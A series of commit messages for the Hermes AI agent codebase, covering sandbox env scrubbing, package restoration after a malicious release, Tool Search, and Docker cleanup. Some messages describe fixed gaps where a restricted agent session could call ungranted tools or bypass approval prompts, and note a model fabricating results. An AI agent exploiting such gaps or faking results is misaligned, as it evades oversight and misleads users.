* docs(code-execution): document HERMES_* env narrowing + passthrough workaround
The execute_code sandbox-child env scrub (108397726, #27303) deliberately
dropped the broad HERMES_ prefix passthrough, keeping only an operational
4-var allowlist (HERMES_HOME/PROFILE/CONFIG/ENV). A script that relied on a
non-secret HERMES_* var (HERMES_BASE_URL, HERMES_KANBAN_DB, HERMES_*_WEBHOOK,
or a plugin-defined one) now sees it unset in the child.
Document the behavior change and the two recovery routes (terminal.env_passthrough
in config.yaml, or required_environment_variables in skill frontmatter), plus
the debug log line that surfaces the drop for diagnosis.
* fix(stt,tts): restore mistralai — 2.4.8 is clean, ban lifted
PyPI quarantined mistralai on 2026-05-12 after the malicious 2.4.6
release (Mini Shai-Hulud worm). 2.4.6 has since been removed from the
registry and clean releases resumed (2.4.7 2026-05-25, 2.4.8 2026-05-28).
This rolls back the blanket runtime ban so Voxtral STT + TTS work again,
following the restoration checklist the repo left in pyproject.toml.
Verified against the real SDK: 2.4.8 keeps the import path the code uses
(from mistralai.client import Mistral) and the audio.transcriptions.complete
/ audio.speech.complete surfaces.
Changes:
- pyproject.toml: re-add mistral extra pinned to mistralai==2.4.8; left
OUT of [all] per the 2026-05-12 lazy-install policy (one quarantined
release must not break fresh installs). uv.lock regenerated.
- tools/lazy_deps.py: add stt.mistral / tts.mistral entries so the SDK
lazy-installs on first use (matches edge / elevenlabs).
- tools/transcription_tools.py: restore explicit-provider gate
(_HAS_MISTRAL + key) and auto-detect entry (local>groq>openai>mistral>xai);
_transcribe_mistral lazy-installs before import.
- tools/tts_tool.py: dispatcher routes back to _generate_mistral_tts;
_import_mistral_client lazy-installs the SDK.
- hermes_cli/tools_config.py, hermes_cli/web_server.py: un-hide Mistral
from the TTS provider picker and dashboard STT options.
- hermes_cli/security_advisories.py: KEEP the shai-hulud-2026-05 advisory
(module policy forbids removal) — it is scoped to 2.4.6 only, so it
still warns anyone with the poisoned build cached and never fires on
2.4.8. Summary note updated to reflect the un-quarantine.
- tests: revert the disabled-behavior assertions added by the ban commit
back to routing/positive expectations; add mistral to the
lazy-installable-extras-excluded-from-[all] contract.
Reported by @SkYNewZ (#34503).
Validation: 189 targeted STT/TTS/lazy_deps/metadata tests pass; E2E with
the real mistralai 2.4.8 SDK routes both STT and TTS to mistral.
A GitHub tap can ship a repo-root skills.sh.json (the published skills.sh
schema) declaring category groupings. The Skills Hub now reads it at index
time and uses each grouping title as the skill's category label, instead of
the tag-derived guess. Generic: any tap that ships the file gets real
categorization — NVIDIA's groupings (Inference AI, Decision Optimization,
GPU Development, etc.) flow through automatically.
- GitHubSource: _get_skillsh_groupings() fetches+caches the sidecar per repo;
_parse_skillsh_groupings() flattens it to {skill_name: title};
_list_skills_in_repo() stamps meta.extra['category']; _meta_to_dict now
serializes extra so the category survives the index cache round-trip.
- extract-skills.py: prefers extra['category'] over the tag heuristic and
exempts sidecar categories from the small-category to Other collapse.
- Docs + 12 tests.
NVIDIA/skills is now a default trusted tap in the Hermes Skills Hub —
discoverable, browsable, searchable, and auto-updating through the same
pipeline that already serves OpenAI, Anthropic, and HuggingFace skills.
Rebased onto current main.
- Add test for 4xx ValueError with actionable remediation message
- Add test for is_available() returning True via managed gateway
- Add test for prefers_gateway overriding direct FAL_KEY
- Add test for is_available() via gateway in plugin test file
Wire plugins/video_gen/fal/__init__.py to use the same
_ManagedFalSyncClient pattern that image gen already uses.
Changes:
- Add managed gateway resolution, client caching, and
_submit_fal_video_request() that routes between direct FAL_KEY
and Nous gateway modes
- Update is_available() to return True when either FAL_KEY or the
managed gateway is reachable
- Update generate() to use submit+get handle pattern instead of
fal_client.subscribe() directly
- Fix happy-horse endpoint namespace: fal-ai/ → alibaba/ (matches
the tool-gateway allowlist from fal-video-gen branch)
- Surface actionable error on 4xx gateway rejections
Tests:
- 4 new tests in test_managed_media_gateways.py (gateway routing,
client reuse, direct mode fallback, alibaba namespace)
- Updated existing test_fal_plugin.py fixture to use submit/handle
pattern and patch _resolve_managed_fal_video_gateway for isolation
Two CI flakes surfaced on PR #34572 (both in files this PR doesn't touch;
pre-existing host-dependent flakes):
1. test_process_registry::TestPopenLeakOnSetupFailure — the failure-cleanup
tests use a fake proc.pid (8888/9999) and assert proc.kill() runs. But
spawn_local's primary cleanup is os.killpg(os.getpgid(pid), SIGKILL),
falling back to proc.kill() only on ProcessLookupError/PermissionError/
OSError. When the fake PID happens to exist on a busy host, os.getpgid
succeeds, os.killpg fires against an UNRELATED real process group, and
proc.kill() is never reached -> flaky AssertionError (and a real risk of
SIGKILLing an innocent process group from a unit test). Patch os.getpgid
to raise ProcessLookupError so the fallback path runs deterministically
and no real killpg is ever issued.
2. test_web_server::test_resize_escape_is_forwarded — the receive loop calls
the blocking conn.receive_bytes() with no exception guard. Once the child
prints its winsize and exits, the PTY closes; on a missed-marker run the
next recv blocks until the 30s pytest-timeout instead of failing fast.
Add a try/except break (matching the working sibling tests) and bump the
child's pre-read sleep 0.15s -> 0.5s so the resize reliably lands first.
Verified: 4/4 pass across 3 consecutive runs; root cause for #1 reproduced
(os.getpgid(1) succeeds -> old code skips proc.kill).
Web search/extract dispatch read agent.web_search_registry before plugin
discovery had run, so in any process that hadn't imported model_tools.py
(subprocess agent runs, delegate children, standalone scripts) the registry
was empty: get_provider('firecrawl') returned None and the dispatcher emitted
the misleading 'No web extract provider configured' error even with
web.extract_backend set and FIRECRAWL_API_KEY exported.
Adds an idempotent _ensure_web_plugins_loaded() helper (mirrors
tools.browser_tool._ensure_browser_plugins_loaded) and calls it at the top of
both the web_search_tool and web_extract_tool dispatch sites before the
registry lookup.
Fixes#27580.
Co-authored-by: briandevans <252620095+briandevans@users.noreply.github.com>
The fast-path decision (native routing + provider allowlist OR
supports_vision override) lived inline in vision_analyze and was copied
into browser_vision. Extract it to _should_use_native_vision_fast_path()
so both tools share one source of truth.
- vision_tools: gate logic now one helper; vision_analyze calls it in 3 lines
- browser_tool: thin envelope decoration over the shared helper, not a copy
- browser_vision typed Union[str, Dict] to match its real return shape
- tests slimmed to target the override path + text-mode-wins invariant
Follow-up mitigation for the #27303 env-scrub tightening. Dropping the
broad HERMES_ prefix in favor of a 4-var operational allowlist is correct
hardening, but a sandbox script that imports a repo module reading a
non-allowlisted HERMES_* var at import time would otherwise see it
silently unset. _scrub_child_env now emits a one-shot debug log naming the
dropped non-secret HERMES_* vars and pointing at the env_passthrough
opt-in escape hatch. Secret-shaped vars are never named in the log.
Tests: dropped vars are logged + env_passthrough named; no log when
nothing is dropped; secret vars excluded from the diagnostic.
Cover context+callback propagation and teardown-clears, a source guard that both RPC threads stay wrapped, the check_execute_code_guard decision matrix (isolated backend, headless-local, cron-deny, gateway approve/deny/timeout/missing-notify, smart mode, session-yolo), the env-scrub allowlist/secret rules, and a behavioral test that execute_code() blocks before spawning on denial.
Refs #4146, #27303, #30882, #33057
Wrap both execute_code RPC threads (local UDS + remote file-RPC) with propagate_context_to_thread so gateway sessions no longer fall into check_dangerous_command's non-interactive auto-approve branch and the CLI approval prompt stays reachable. Add check_execute_code_guard: one-shot fail-closed approval of the whole script in gateway/ask/cron-deny before the child spawns (skips isolated backends; command-string built only past the early returns). Drop the broad HERMES_ env passthrough for an explicit operational allowlist plus DSN/WEBHOOK secret substrings, and update the POSIX-equivalence oracle.
Refs #4146, #27303, #30882, #33057
Tool Search read its catalog from the global registry (get_tool_definitions
with no toolset scope = 'start with everything'), so a restricted-toolset
session — subagent, kanban worker, curated gateway session — could:
1. tool_search the entire process registry, not just its granted tools, and
2. tool_call any registered plugin/MCP tool it was never given, because
registry.dispatch() has no enabled_tools gate for non-execute_code tools.
A scoped session (enabled_toolsets=['mcp-github']) reported total_available=26
and successfully invoked an out-of-scope plugin tool via tool_call.
Fix:
- handle_function_call gains enabled_toolsets/disabled_toolsets; the bridge
dispatch scopes get_tool_definitions to them (also stops polluting the
process-global _last_resolved_tool_names with out-of-scope tools, which
leaked into execute_code's sandbox-tool fallback).
- A defense-in-depth gate rejects any tool_call'd name not in the scoped
deferrable catalog.
- tool_executor's unwrap (both concurrent + sequential paths) enforces the
same scope before dispatch, since it unwraps tool_call -> underlying name
and bypasses the bridge branch. New _tool_search_scoped_names() helper,
cached per-agent on registry generation + toolset scope.
- New scoped_deferrable_names() helper in tool_search.py shared by both sites.
Tests: 4 new regression tests in TestRegression_ToolsetScoping (scoped
catalog, out-of-scope tool_call rejection, no global pollution, helper).
Adds Tool Search, a structured-tools progressive-disclosure layer that
replaces MCP and non-core plugin tools in the model-visible tools array
with three bridge tools (tool_search / tool_describe / tool_call) when
the deferrable surface would consume more than a configurable percentage
of the active model's context window. Core Hermes tools are never deferred.
Default mode is 'auto' with a 10% context threshold, so small toolsets
pay no overhead. Set tools.tool_search.enabled to 'on' to force or 'off'
to disable.
Design carefully reflects the OpenClaw production failure modes
documented in the openclaw-tool-search-report:
- Core tools never defer (toolsets._HERMES_CORE_TOOLS). Addresses the
'tools silently missing from isolated cron turns' regression class
(openclaw#84141) by construction: there is no code path that can
drop a core tool.
- Catalog is stateless across turns — rebuilt from the live tool-defs
list on every assembly. No session-keyed Map that can drift out of
sync with the registry.
- tool_call unwraps the bridge call before any hook fires, so plugin
pre/post hooks, guardrails, approval flows, and the activity feed
all see the underlying tool name, not the bridge (addresses
openclaw#85588 and the verbose-mode complaint on openclaw#79823).
- The unwrap happens in both the parallel and sequential paths of
agent/tool_executor.py and also in handle_function_call, so direct
callers (sandboxed code, eval harnesses) are covered too.
- Bridge tools cannot invoke each other (recursion guard) and cannot
invoke core tools (those must be called directly).
- Tools mode only — no JS-sandbox code-mode. Keeps the surface small.
- Token estimation via cheap char/4 heuristic; precision isn't needed
for the threshold decision.
Files:
- tools/tool_search.py — new module (BM25 retrieval, classification,
threshold gate, bridge dispatch, unwrap helper).
- tests/tools/test_tool_search.py — 35 tests including the OpenClaw
#84141 regression guard.
- model_tools.py — wires assembly into _compute_tool_definitions as the
final step, adds skip_tool_search_assembly kwarg so the bridge can
see the real catalog, dispatches the three bridge tools.
- agent/tool_executor.py — unwraps tool_call in both parallel and
sequential parsing loops so checkpointing, guardrails, plugin hooks,
and tool-progress callbacks all observe the underlying tool name.
- hermes_cli/config.py — DEFAULT_CONFIG['tools']['tool_search'] block.
- website/docs/user-guide/features/tool-search.md — user docs.
Validation:
- 35/35 new tests pass.
- Existing tool/registry/model_tools/config/coercion/executor tests
(82 + 74 + small adjacents) green.
- Live E2E: 20 fake MCP tools registered, get_tool_definitions returns
3 bridges, tool_search returns top 3 hits, tool_describe returns
full schema, tool_call dispatches to the real underlying handler
and the underlying result is what the model sees.
- Reserved-name recursion guard verified live.
- Core-tool refusal via tool_call verified live.
Scopes the AWS_SDK subprocess strip down from the full AWS credential chain
to just AWS_BEARER_TOKEN_BEDROCK — the only Hermes-managed *inference* secret
(analogous to OPENAI_API_KEY). The general AWS credential chain
(AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN / AWS_PROFILE
/ config + role pointers) is intentionally left inheritable.
Why: per SECURITY.md §3.2 the local terminal is the user's trusted operator
shell. Hard-blocklisting the general chain would (a) regress *every* user who
runs aws/terraform/cdk/boto3 in the agent terminal — not just Bedrock users,
since PROVIDER_REGISTRY is iterated unconditionally at import — and (b) be
unrecoverable, because env_passthrough.py refuses to re-allow anything in
_HERMES_PROVIDER_ENV_BLOCKLIST (GHSA-rhgp-j443-p4rf). The narrow strip closes
the reported leak (opencode enumerating the Bedrock catalog off the leaked
bearer token) with no capability loss.
Keeps zapabob's self-healing auth_type=="aws_sdk" mechanism so any future
SDK-cred provider is covered automatically.
Tests: bearer token stripped + general chain preserved (no-regression guard),
on both the runtime strip path and the blocklist-membership path.
Co-authored-by: zapabob <1920071390@campus.ouj.ac.jp>
Salvages #25872 by @konsisumer against current main.
NAS users (UGOS, Synology, unRAID) expect the LinuxServer.io
PUID/PGID convention and bind-mount /opt/data from a host directory
owned by their own UID. Without this alias those vars are silently
ignored and the s6-setuidgid drop to UID 10000 leaves the runtime
unable to read the volume. HERMES_UID/HERMES_GID still take
precedence when both are set.
The original PR targeted docker/entrypoint.sh, which is now a 27-line
deprecation shim under s6-overlay (the May 2026 rework moved all
bootstrap logic to docker/stage2-hook.sh, installed as
/etc/cont-init.d/01-hermes-setup). Re-applied the same 2-line
alias resolution at the equivalent spot in stage2-hook.sh just
before the existing UID/GID remap block. Test was retargeted at
docker/stage2-hook.sh; docs hunk adapted to current main's wording
("stage2 hook" + s6-setuidgid, not the obsolete "entrypoint drops
via gosu") with the NAS bind-mount example preserved verbatim.
Test-first regression verification: reverted just docker/stage2-hook.sh
to origin/main and re-ran the new tests. Result:
FAILED test_stage2_hook_resolves_puid_pgid_aliases
FAILED test_puid_pgid_populate_hermes_uid_gid
AssertionError: assert ':' == '1000:10'
That's the exact bug shape — PUID=1000 PGID=10 silently ignored,
HERMES_UID/HERMES_GID stay empty. With the salvage applied, all 4
tests pass.
Closes#25872
Co-authored-by: konsisumer <11262660+konsisumer@users.noreply.github.com>
The previous ruff prune commit removed two categories of test-file
imports whose value is the side effect of importing them, not their
binding:
tests/tools/test_kanban_tools.py — 5 sites
`import tools.kanban_tools # ensure registered`
The import itself runs tools/kanban_tools.py's @registry.register
calls; without it, the kanban tool registry is empty and
test_kanban_tools_visible_with_env_var asserts {} != {7 kanban tools}.
tests/tools/test_command_guards.py — 1 site
`import tools.tirith_security # Ensure the module is importable so we can patch it`
The comment names the requirement: keep the bare module reference
so subsequent mock.patch("tools.tirith_security.<fn>") calls find
a registered submodule.
CI failure: test (5) shard, tests/tools/test_kanban_tools.py:58
AssertionError: expected {kanban_*}, got set()
Remove unused imports (F401) and duplicate/shadowed import
redefinitions (F811) across the codebase using ruff's safe
autofixes. No behavioral changes -- imports only.
- ~1400 safe autofixes applied across 644 files (net -1072 lines)
- __init__.py re-exports preserved (excluded from F401 removal so
public re-export surfaces stay intact)
- Re-exports that are imported or monkeypatched by tests but look
unused in their defining module are kept with explicit # noqa:
F401 (gateway/run.py load_dotenv; run_agent re-exports from
agent.message_sanitization, agent.context_compressor,
agent.retry_utils, agent.prompt_builder, agent.process_bootstrap,
agent.codex_responses_adapter)
- Unsafe F841 (unused-variable) fixes deliberately skipped -- those
can change behavior when the RHS has side effects
- ruff lints remain disabled in pyproject.toml (only PLW1514 is
selected); this is a one-time cleanup, not a config change
Verification:
- python -m compileall: clean
- pytest --collect-only: all 27161 tests collect (zero import errors)
- core entry points import clean (run_agent, model_tools, cli,
toolsets, hermes_state, batch_runner, gateway)
- static scan: every name any test imports directly from an edited
module still resolves
* fix(codex): surface error code in Responses 'failed' status errors
When a Codex Responses turn ends with status=failed, the response carries
the failure details under `response.error` as
`{code, message, param, ...}`. The previous extractor pulled only
`message`, so users seeing a rate-limit failure got a bare "Slow down"
string indistinguishable from a generic stream truncation; an
internal_error with empty message degraded to a dict dump
("{'code': 'internal_error', 'message': ''}").
Extract a `_format_responses_error()` helper that:
- prefixes `code` when both code and message are present
(e.g. 'rate_limit_exceeded: Slow down')
- falls back to the bare `code` when message is empty
- accepts both dict and attribute-style payloads (SDK and JSON-RPC paths)
- preserves the prior status-only fallback when no error payload exists
Apply the same helper at the sibling site in
`codex_app_server_session.run_turn()` so codex-CLI subprocess turn
failures get the same treatment.
Tests:
- 8 new unit tests for `_format_responses_error` covering both shapes,
empty/missing fields, non-string fields, and the status-only fallback.
- 2 regression tests on `_normalize_codex_response` for failed status
with and without a code, asserting the exact RuntimeError message.
- All 3603 tests in tests/agent/ pass.
Adapted from anomalyco/opencode#28757.
* feat(prompt): universal task-completion guidance + local Python toolchain probe
Two cross-model failure modes get a single-line answer in the cached
system prompt. Both gated by config (default on), both add zero overhead
when not needed, both verified via real AIAgent prompt builds.
## What changed
`TASK_COMPLETION_GUIDANCE` — short prompt block applied to ALL models.
Targets two failure modes observed on a real Sarasota real-estate build
task: (1) Opus stopped after writing an 85-byte stub and gave a prose
response with finish_reason=stop on call #3 of 90; (2) DeepSeek pushed
through a PEP-668 wall, then returned fabricated listings instead of
admitting the blocker. Both behaviors are model-family-agnostic, so the
guidance lives outside the existing tool_use_enforcement gate (~192
tokens, paid once per session via prefix cache).
`tools/env_probe.py` — local Python toolchain probe. Detects
python3/pip/uv/PEP-668 state and emits ONE short line in the system
prompt when something is non-default. Emits NOTHING when the env is
clean (zero token cost for normal users). Skipped entirely for remote
terminal backends (docker/modal/ssh) — they have their own probe.
Example output on a broken environment (the actual case):
Python toolchain: python3=3.11.15 (no pip module),
python=missing (use python3), pip→python3.12 (mismatch),
PEP 668=yes (use venv or uv).
## Config
Both flags live under `agent.` in config.yaml, default True:
agent:
task_completion_guidance: true # universal "finish the job" block
environment_probe: true # local Python toolchain hints
Neither addition required a `_config_version` bump — deep-merge fills
defaults in for existing user configs.
## Validation
| Test surface | Result |
|---|---|
| tests/tools/test_env_probe.py | 10/10 pass (probe unit) |
| tests/run_agent/test_run_agent.py — new classes | 8/8 pass (integration) |
| TestToolUseEnforcementConfig | 17/17 pass (no regression) |
| TestBuildSystemPrompt | 9/9 pass (no regression) |
| TestInvalidateSystemPrompt | 2/2 pass (no regression) |
| tests/agent/test_prompt_builder.py | 124/124 pass (no regression) |
| tests/hermes_cli/ | 5662/5662 pass (config defaults) |
| E2E AIAgent build (broken env) | Both blocks present, 2,178 chars |
| E2E AIAgent build (clean env) | 771-char net overhead, env probe silent |
Salvages #24490 by @liuhao1024 against current main.
The Docker daemon will silently auto-create a directory at the host
path of any `-v <host>:<container>` bind mount when the host path
doesn't exist. In Docker-in-Docker setups (where the outer host's
real credential file isn't visible inside the agent's parent
container), this leaves a directory at the credential mount source —
and the inner `docker run` then refuses to mount a directory over a
file destination with exit 125.
Add defensive shape guards to all three mount loops in
DockerEnvironment.__init__:
* credentials (expected: file) — skip + warn on directory or missing
* skills (expected: dir) — skip + warn when not a directory
* cache (expected: dir) — skip + warn when not a directory
Failed mounts surface as WARN logs rather than crashing the container
start. Existing well-formed sources mount unchanged.
The original PR's branch was on a pre-container-reuse-rework base
(May 12) and conflicted with the post-May-28 driver work (label
tagging, container reuse, orphan reaper). Reconstructed the same
intent on current main; the three guard blocks slot cleanly into
`tools/environments/docker.py` around the existing mount loops.
Three new tests pinned in `tests/tools/test_docker_environment.py`:
directory-source skip, missing-source skip, valid-file mounts. Test-
first regression verification: reverted just the production code to
`origin/main` and confirmed the new tests fail with
`'deleted_token.json' is contained here: /root/.hermes/...` — the
fixed code makes them pass. Full file passes (54/54).
Closes#24490
Co-authored-by: liuhao1024 <11816344+liuhao1024@users.noreply.github.com>
When HOME=/root (Docker containers) and the process runs as unprivileged
user (hermes, uid 10000), Path.home() / '.modal.toml' raises PermissionError
because /root/ is inaccessible. This crashes the dashboard /api/skills endpoint.
Catch PermissionError/OSError and treat as 'no config file'. Env vars still
take priority (tested).
Fixes#33525
NVIDIA's verified skills catalog (https://github.com/NVIDIA/skills) ships
NVIDIA-signed skills for CUDA-X, AIQ, cuOpt, cuPyNumeric, DeepStream, NeMo,
NemoClaw and the Skill Card Generator — each bundle carrying a detached
`skill.oms.sig` signature, a governance `skill-card.md`, and `evals/`. The
sync pipeline drops any skill missing those artifacts before publishing.
Changes:
- tools/skills_hub.py: add NVIDIA/skills to GitHubSource.DEFAULT_TAPS so
it lights up in `hermes skills browse`, `hermes skills search <q>`, the
twice-daily skills-index build, and the docs-site Skills Hub page
(https://hermes-agent.nousresearch.com/docs/skills) automatically.
- tools/skills_guard.py: add NVIDIA/skills to TRUSTED_REPOS so installs
resolve to trust_level="trusted" (looser install policy than community).
- website/scripts/extract-skills.py: map the `github` source id to a
friendly "NVIDIA" pill label for the docs hub page.
- website/src/pages/skills/index.tsx: register the NVIDIA pill (green
#76b900) and slot it into SOURCE_ORDER after HuggingFace.
- website/docs/user-guide/features/skills.md (+ zh-Hans i18n): document
the new default tap and the expanded trusted-repos list.
- tests/tools/test_skills_guard.py: assert NVIDIA/skills resolves to
"trusted" (including the skills-sh-wrapped form).
- tests/tools/test_skills_hub.py: invariant — every TRUSTED_REPOS entry
must be reachable via GitHubSource.DEFAULT_TAPS (prevents future
trusted repos from being declared but never browseable).
Validation:
- Live GitHub fetch: `src.fetch('NVIDIA/skills/skills/aiq-deploy')` pulled
17 files including SKILL.md (13 KB), skill-card.md, skill.oms.sig, and
the full references/ + evals/ tree. trust_level="trusted".
- Live inspect resolved name, description, and trust correctly.
- All 193 existing skills_guard + skills_hub tests still pass.
Commit 4 made cleanup_vm() default to force_remove=True, which was wrong:
cleanup_vm() is called from AIAgent.close() (TUI session close at
tui_gateway/server.py:2991, gateway session teardown at gateway/run.py:3569)
and from per-turn cleanup (agent/chat_completion_helpers.py:1517). All
three are session-lifecycle events that should honor persist mode, not
explicit user-initiated teardown.
Ben reported the symptom: container shared between multiple TUI sessions
(good) but killed as soon as any session closed (bad). With force_remove=True
as the default, every `session.close` JSON-RPC tore down the container.
The fix is to flip cleanup_vm()'s force_remove default back to False.
The kwarg still exists for future explicit-teardown paths (`/reset`-style
flows, "destroy my sandbox" commands) that haven't been wired up yet.
Two new unit tests pin the behavior:
* `test_cleanup_vm_default_honors_persist_mode` — asserts
`cleanup_vm(task_id)` does neither docker stop nor docker rm on a
persist-mode container (the regression Ben caught).
* `test_cleanup_vm_force_remove_tears_down_persist_container` —
asserts the kwarg still flows through the runtime-signature-inspection
plumbing to the backend's cleanup().
E2E verified against real Docker (in addition to all 17 existing checks):
✓ Default cleanup_vm() leaves persist-mode container running
✓ cleanup_vm(force_remove=True) removed the container
Refs #20561
The first iteration of this PR did docker stop on every cleanup in
persist mode (only skipping docker rm). Ben caught this as
contradicting the documented "ONE long-lived container shared across
sessions" semantics: stopping the container on every Hermes /quit kills
any background processes inside (npm watchers, pytest watchers,
long-running scripts) — exactly the case persist mode is supposed to
protect.
This commit splits the cleanup paths cleanly:
* **Persist mode (default)** — cleanup() is a NO-OP for the
container. Container stays running, processes survive, next Hermes
process attaches via the existing label probe in ~ms instead of
waiting for docker start. Resource reclamation happens via the
orphan reaper at next startup (2 × lifetime_seconds threshold), which
covers the SIGKILL / OOM / abandoned-laptop cases.
* **Opt-out mode (persist_across_processes=False)** — unchanged:
docker stop + docker rm -f on cleanup as before.
* **Explicit teardown** — new cleanup(force_remove=True) kwarg
overrides persist mode and tears the container down unconditionally.
cleanup_vm(task_id) now defaults to force_remove=True since
it's the user-driven reset path (called from AIAgent.close(),
/reset-style flows, and the idle reaper's per-turn cleanup).
The idle reaper in _cleanup_inactive_envs calls env.cleanup()
directly with no kwargs, so idle persist-mode envs are no-op'd — the
container survives the in-process pop and the next tool call re-probes
via labels. No state leak: _container_id is still cleared on the
in-process handle.
E2E verified against real Docker:
✓ Container is still running after cleanup()
✓ Background process (sleep loop) survived cleanup()
✓ Filesystem state preserved across cleanup()
✓ In-process container_id cleared (next __init__ will re-probe)
✓ Background process visible from reused env (no docker start happened)
✓ force_remove=True removed the container even in persist mode
✓ cleanup_vm() removed the container (defaults to force_remove=True)
Test changes:
* Replaces `test_cleanup_with_persist_only_stops_no_rm` with
`test_cleanup_with_persist_is_noop_for_container` — asserts neither
stop nor rm runs in persist mode, and the in-process handle is
cleared so re-probe works.
* Adds `test_cleanup_force_remove_stops_and_rms_even_in_persist_mode`
— covers the new kwarg.
* Updates `test_cleanup_uses_subprocess_run_not_detached_shell` and
`test_wait_for_cleanup_after_cleanup_returns_true` to pass
`force_remove=True` so they actually exercise the docker code path
(default no-op would trivially pass).
cleanup_vm() forwards `force_remove` only to backends whose cleanup()
accepts the kwarg (currently just DockerEnvironment) via runtime
signature inspection — Modal/Daytona/SSH `cleanup()` signatures are
unchanged.
Refs #20561
The cleanup-fix in the previous commit handles the graceful-exit leak: a
Hermes process that runs ``atexit`` will now actually wait on the docker
stop/rm worker thread, so containers either survive (persist mode) or are
fully removed (opt-out mode) by the time the interpreter exits.
But ``atexit`` doesn't fire on SIGKILL, OOM-kill, or terminal-window
close. Containers from those exits stay parked with no surviving Python
process to reuse or remove them, so they accumulate until the operator
intervenes with ``docker rm -f``. The cleanup-fix doesn't help this class
— there's no live cleanup() to fix.
This commit adds the safety net: a startup orphan reaper that runs once
per Hermes process and removes long-Exited hermes-labeled containers
that the prior commit couldn't reach.
Implementation:
* New ``reap_orphan_containers()`` in ``tools/environments/docker.py``.
Filters: ``label=hermes-agent=1`` + ``status=exited`` + (optional)
``label=hermes-profile=<current>``. Per-container ``docker inspect``
parses ``State.FinishedAt`` (with nanosecond-precision trimming for
Python's microsecond-bound ``fromisoformat``); containers older than
the threshold get ``docker rm -f``'d. The ``status=exited`` filter is
load-bearing — a running container may belong to a sibling Hermes
process whose reuse path will pick it up; killing it would crash the
sibling mid-command. Single-container failures are logged and the
sweep continues to the next candidate.
* New ``_maybe_reap_docker_orphans()`` helper in
``tools/terminal_tool.py``. Wired into ``_create_environment()`` for
``env_type == "docker"``. Gated by:
- ``terminal.docker_orphan_reaper: true`` (default; opt-out for
operators running multiple Hermes processes in the same profile
who don't trust the conservative defaults)
- ``_docker_orphan_reaper_ran`` module flag with double-checked
locking — parallel subagents and RL rollouts don't trigger N
concurrent docker ps storms
- Age threshold = ``2 × TERMINAL_LIFETIME_SECONDS`` with a 60s floor
(so ``TERMINAL_LIFETIME_SECONDS=0`` doesn't race the user's own
setup)
- Profile scoping — a research profile NEVER reaps the default
profile's stragglers
- Exception swallow — a janitor failure must never block container
creation
* New config ``terminal.docker_orphan_reaper`` wired through all four
config-bridge sites (cli.py, gateway/run.py, hermes_cli/config.py,
tests/conftest.py) and pinned by
``test_docker_orphan_reaper_is_bridged_everywhere``.
Coverage:
* 9 new unit tests in test_docker_environment.py — happy path, recent-
container sparing, profile scoping, unparseable-timestamp safety,
docker-ps-failure handling, partial-failure continuation, nanosecond
timestamp parsing, zero-value FinishedAt rejection.
* 6 new integration tests in test_docker_orphan_reaper_integration.py
— once-per-process gate, disable-flag respected, lifetime doubling
with 60s floor, current-profile filter wiring, exception swallow.
* 1 new bridge-invariant regression test.
Closes#20561 (combined with the two prior commits on this branch).
The Docker backend docs claim "Single persistent container — ONE long-
lived container shared across sessions, /new, /reset, and delegate_task
subagents. Stopped/removed on shutdown." In practice the code only
honored that contract within a single Python process via the in-memory
\`_active_environments[task_id]\` cache. Every \`hermes chat\` invocation
spawned a fresh \`hermes-<hex>\` container; older containers piled up in
\`Exited\` state and accumulated until manual \`docker rm\` (issue #20561).
Three root causes, all addressed by this commit:
1. No cross-process container discovery.
2. \`cleanup()\` used fire-and-forget \`subprocess.Popen("... &", shell=True)\`
which raced with parent-process exit — when Python exited promptly the
detached shell child got killed mid-\`docker stop\`, leaving stopped
containers behind.
3. The \`docker rm\` step in cleanup was gated on \`not self._persistent\`
(the bind-mount-persistence flag). Default config sets
\`container_persistent: true\`, so the default happy path skipped \`rm\`
entirely — even when the user explicitly didn't want cross-process
reuse, containers leaked.
Fix:
* Add \`DockerEnvironment.__init__(persist_across_processes=True)\`. When
true, init probes
\`docker ps -a --filter label=hermes-agent=1
--filter label=hermes-task-id=<task>
--filter label=hermes-profile=<profile>\`
and reuses a matching container (running → attach; stopped →
\`docker start\` → attach; \`docker start\` failure → fall through to a
fresh \`docker run\`). Multiple matches prefer the running one, with the
stragglers left for the orphan reaper (next commit) to clean up.
* Rewrite \`cleanup()\`. Uses \`subprocess.run(..., timeout=30)\` on a
daemon \`threading.Thread\`, not the racy \`Popen(... &)\`. The
\`_persistent\` guard is dropped on the \`rm\` step — \`rm\` now runs
whenever \`persist_across_processes\` is false, regardless of the
bind-mount-persistence setting. The leak class is gone in all
combinations.
* Add \`wait_for_cleanup(timeout)\`. \`tools/terminal_tool.py\`'s atexit
hook calls this on every active env, blocking up to 15s for the
cleanup thread before interpreter exit. Without this, \`hermes /quit\`
raced the daemon-thread teardown and dropped the stop/rm work.
* New config \`terminal.docker_persist_across_processes\` (default
\`true\` — restores the documented contract). Set \`false\` for hard
per-process isolation. Wired through all four config-bridge sites
(cli.py env_mappings, gateway/run.py _terminal_env_map,
hermes_cli/config.py _config_to_env_sync, tests/conftest.py env-strip
list); regression-pinned by
\`test_docker_persist_across_processes_is_bridged_everywhere\` matching
the existing pattern for docker_run_as_host_user / docker_env.
Reuse intentionally does NOT compare image / mounts / resources — only
the labels. Operators changing those settings should set
\`docker_persist_across_processes: false\` (or \`docker rm -f\` the
labeled container) to force a fresh start. This keeps the probe cheap
and the failure mode obvious.
Coverage: 12 new unit tests in tests/tools/test_docker_environment.py
covering reuse paths (running, stopped, fallback, opt-out, duplicate
preference) and cleanup behavior (persist-mode no-rm, opt-out always-rm,
no-Popen, wait_for_cleanup semantics, partial-init safety). Plus one
config-bridge regression pin.
Refs #20561
Issue #20561 (Docker containers accumulate) needs a way to identify
hermes-created containers from the outside — both for the orphan reaper
(a follow-up commit) and for operators triaging `docker ps -a | grep
hermes-` after a SIGKILL leaves stragglers. The previous `hermes-<hex>`
name prefix was the only signal, which broke down under cross-process
reuse (planned) and against any custom `--name` someone might pass via
`docker_extra_args`.
This commit adds three labels at `docker run` time:
--label hermes-agent=1 # global sweep target
--label hermes-task-id=<sanitized> # per-task reuse key
--label hermes-profile=<sanitized> # per-profile isolation key
Values are sanitized to `[A-Za-z0-9_.-]` and truncated to 63 chars so the
label round-trips cleanly through `docker ps --filter label=key=value`.
Empty or non-string inputs collapse to "unknown" rather than producing
an unqueryable empty value.
No behavior change: the labels are pure metadata. The follow-up commits
in this PR (cleanup-fix + orphan reaper) are what use them.
Refs #20561
When the Hermes Docker image runs an stdio MCP server configured with an
explicit env.PATH that omits /usr/local/bin (a common pattern when users
hand-author PATH for sandboxing), the MCP env-filter passes that narrow
PATH straight through to the subprocess. _resolve_stdio_command's
